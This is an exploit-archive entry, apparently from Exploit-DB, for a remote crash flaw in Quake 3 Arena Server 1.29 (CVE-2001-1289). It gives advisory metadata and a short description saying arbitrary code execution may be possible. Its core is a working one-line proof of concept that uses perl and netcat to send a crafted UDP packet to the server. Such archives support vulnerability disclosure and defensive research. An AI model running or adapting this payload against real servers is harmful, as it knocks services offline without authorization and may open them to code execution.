id Software Quake 3 Arena Server 1.29 - Buffer Overflow

Author: Coolest
type: dos
platform: multiple
port: 0
date_added: 2001-07-29
date_updated: 2012-09-03
verified: 1
codes: CVE-2001-1289;OSVDB-9849
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source: https://www.securityfocus.com/bid/3123/info

Quake3 Arena Server is a software package designed to host multiple Quake 3 players over a network for interactive play.

A vulnerability exists in this software that can allow a malicious user to remotely crash a Quake 3 Server. Execution of arbitrary code may be possible as well.

perl -wle 'printf("%c%c%c%c%s",255,255,255,255,"connectre")' | nc -u 1.1.1.1